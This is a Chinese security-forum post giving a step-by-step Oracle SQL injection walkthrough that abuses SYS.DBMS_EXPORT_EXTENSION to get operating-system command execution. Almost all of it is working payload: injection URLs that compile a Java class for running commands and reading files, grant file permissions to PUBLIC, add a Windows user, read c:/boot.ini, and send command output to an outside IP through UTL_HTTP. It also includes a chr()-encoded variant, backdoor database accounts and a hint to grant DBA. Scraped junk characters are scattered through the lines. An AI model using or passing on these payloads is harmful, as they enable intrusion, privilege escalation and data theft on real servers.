找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2637|回复: 0
打印 上一主题 下一主题

实例演示oracle注入获取cmdshell的全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-18 12:21:48 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 7 s3 i9 N+ C- v% I
7 f6 J, g' e- ?% B. t# R
  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
/ m$ }: J' R3 I5 j8 b6 u- c的形式即可。(用" 'a'|| "是为了让语句返回true值) 1 o. V. _2 e" l7 _
语句有点长,可能要用post提交。
6 E( A% ]1 K* _* N8 [以下是各个步骤: 1 f9 S8 F4 V( u
1.创建包
/ U; v$ O: z% e. G4 N; i通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:* M6 a; V, a8 X
/xxx.jsp?id=1 and '1'<>'a'||( * X- I3 M! C4 q3 W. N; g" E
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# ?8 Z/ _$ K  Ecreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(" w0 `- c9 b# Y& _+ Y9 r5 ~  ^& N
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}1 B  F4 l% u2 ~, H0 M5 M, B" D+ F
}'''';END;'';END;--','SYS',0,'1',0) from dual . z. B- X8 R* G: q( d2 N1 [: J8 Q! m
)
+ f  y1 H" R9 O' Y4 g8 D: E3 @. R------------------------
% W. Q) D/ G- P4 d! ^; P  N如果url有长度限制,可以把readFile()函数块去掉,即:
+ O0 v# B) {7 P. c: u. f/xxx.jsp?id=1 and '1'<>'a'||(
  {+ N! u7 N. F2 ^8 \select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 s) e' u, Q* t9 s  u& Hcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
6 F1 @) ^' t' j6 Enew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
4 k& [: K# Z; B' o) t2 W}'''';END;'';END;--','SYS',0,'1',0) from dual 9 z5 M6 C( C  _' V, v
) % }! y3 v' [4 w6 [
同时把后面步骤 提到的 对readFile()的处理语句去掉。 ' a( F# G( `. Y/ w8 f
------------------------------ & L" B' l" ^" {& c
2.赋Java权限
- @. S" k3 ^3 ]: y8 p9 D; ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual$ c7 O4 E7 G+ z3 l9 z  {: F& a( a
3.创建函数
, _# j9 z- ?9 ?; @" |3 g: z9 _select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 J) H9 `1 }% z; q' Zcreate or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
5 v" y6 l& {+ u7 dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
: W- b6 B) ?7 z) F$ ]+ l' acreate or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual& l6 Q& `$ F8 S7 ]' o) j. P, u9 D
4.赋public执行函数的权限 6 n3 V6 }4 H' T3 L' A; K; `
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual$ O$ h4 q6 Z9 Z7 F5 {% k
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
; y# V6 Z7 h3 \4 [) X5.测试上面的几步是否成功
1 l  V$ h  C4 `9 k3 vand '1'<>'11'||(
; b' C% f1 r$ T# c* ~4 _3 fselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD' ! v3 t' F" A; g. m& H  r% o0 R2 g$ p/ \
)
  x  z1 p8 g: P5 L( R) p& Nand '1'<>(
5 g0 v0 Y" _  A9 Y: b8 J& h9 G+ k+ sselect  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
0 R1 x" c3 {& i/ q)
$ l& P. p7 i2 B6.执行命令: & j2 a5 V: K# @( a0 A- e
/xxx.jsp?id=1 and '1'<>( # ~3 c. e& `/ R- P% ^0 p( [. d/ B
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual + H* m, }+ q; N) R# \/ n. S
' S- Y( Q+ V2 y' n' p8 U
)
, e! A" y4 _8 w8 |" c0 W/xxx.jsp?id=1 and '1'<>( # d% t. H: U, n
select  sys.LinxReadFile('c:/boot.ini') from dual
% k* L) M8 ]6 Q
& E3 K; }) ^5 y)
) G% _+ `$ A( a  5 K" [8 S) v, w
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
8 {# `6 h0 B1 F2 Z* }- ~* V# G如果要查看运行结果可以用 union : & R% L$ Z5 u! B0 ]9 w8 L+ R
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
# b# w2 {' A: ~4 I2 P, n+ G或者UTL_HTTP.request(:
" s5 Z& M  E! g7 M4 u' R+ W/xxx.jsp?id=1 and '1'<>(
" n+ X# W0 [3 ?$ H+ ~; `SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual4 [2 j' b9 f$ |
)
/ c( L+ F4 X( q, y3 `5 M; v/xxx.jsp?id=1 and '1'<>(
: X) S4 E) Q  dSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
1 ~; r! N2 y# S6 A, `2 w2 P)
4 g( i! r/ t- d) K1 k- Y3 L注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
2 A4 n& J. M# p& v--------------------
* o  `( }9 v3 T6.内部变化 - b. g' A' H) t9 z  E/ z- S
通过以下命令可以查看all_objects表达改变:
; ?# Z# e& F3 {+ Zselect  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
0 p! E  @4 C% m. m9 G! R2 G7.删除我们创建的函数
4 Y4 T- G, z) H) fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''7 n+ o* _7 t4 j4 g+ @
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual % [, }5 r# o, ]
==================================================== $ a" c$ L6 t9 i7 ~& X
全文结束。谨以此文赠与我的朋友。 8 h( T; n8 G2 n  ?9 \1 d& ^  r$ D. S
linx " P# X# W6 ]4 j5 V2 }
124829445 ; W. \; P' O% _* X( W- g9 k4 a5 T
2008.1.12 % `% ?" k3 m  ]! z
linyujian@bjfu.edu.cn
) j" ?8 U- F' C, U4 s) L8 }====================================================================== , s+ j* Z% V8 I: f( A$ V" s
测试漏洞的另一方法: 5 ?6 w. Y4 |! U) s/ k' G
创建oracle帐号:
: L6 D: ]% v3 E/ `2 @. L2 sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ A1 @* O" g4 n* f: h7 d  `( dCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual3 m) Q+ S2 l. j) v; u
即: 7 B1 G3 _0 Z& Y% t- Q$ p* v& i- j
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),* [+ I$ h6 s! {
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
) S* Z0 W5 A1 L2 T- e& x# A确定漏洞存在:
  x7 t/ B5 }! V! t$ a1<>( . m" `' _$ A8 e
select user_id from all_users where username='LINXSQL' # ]6 x6 N! {( S& M5 K
) ! p' i5 p2 n- {4 {) @- w
给linxsql连接权限:
5 d& [. c5 z5 C, z& E) aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 I/ c  x0 N1 g% K8 vGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual ( @# g5 C1 }# d( I
删除帐号: 5 d" j( ?% i$ N5 G) K
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''0 N8 Q" F* E$ N1 z
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual ' J, H/ ]( G: i0 k' \, D9 d0 g
====================== 9 j0 J5 z+ ]) x) u" o
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:1 ^8 z& F8 R* Q6 Q+ [
1.jsp?id=1 and '1'<>( ( x7 _1 @( G) _: |
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''& M* Y( A# D4 @3 `; y" P$ v- Q
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual( i. M) X0 K/ g/ _: F0 Y
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
$ d3 s# c2 K1 h  n- e+ V  Q6 L )
+ C! `( D6 O* A" l# Q: ]
+ J- [) @8 z  S2 k6 z- B. q( Y1 O& k
6 _2 ~: @3 h6 M7 A! x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表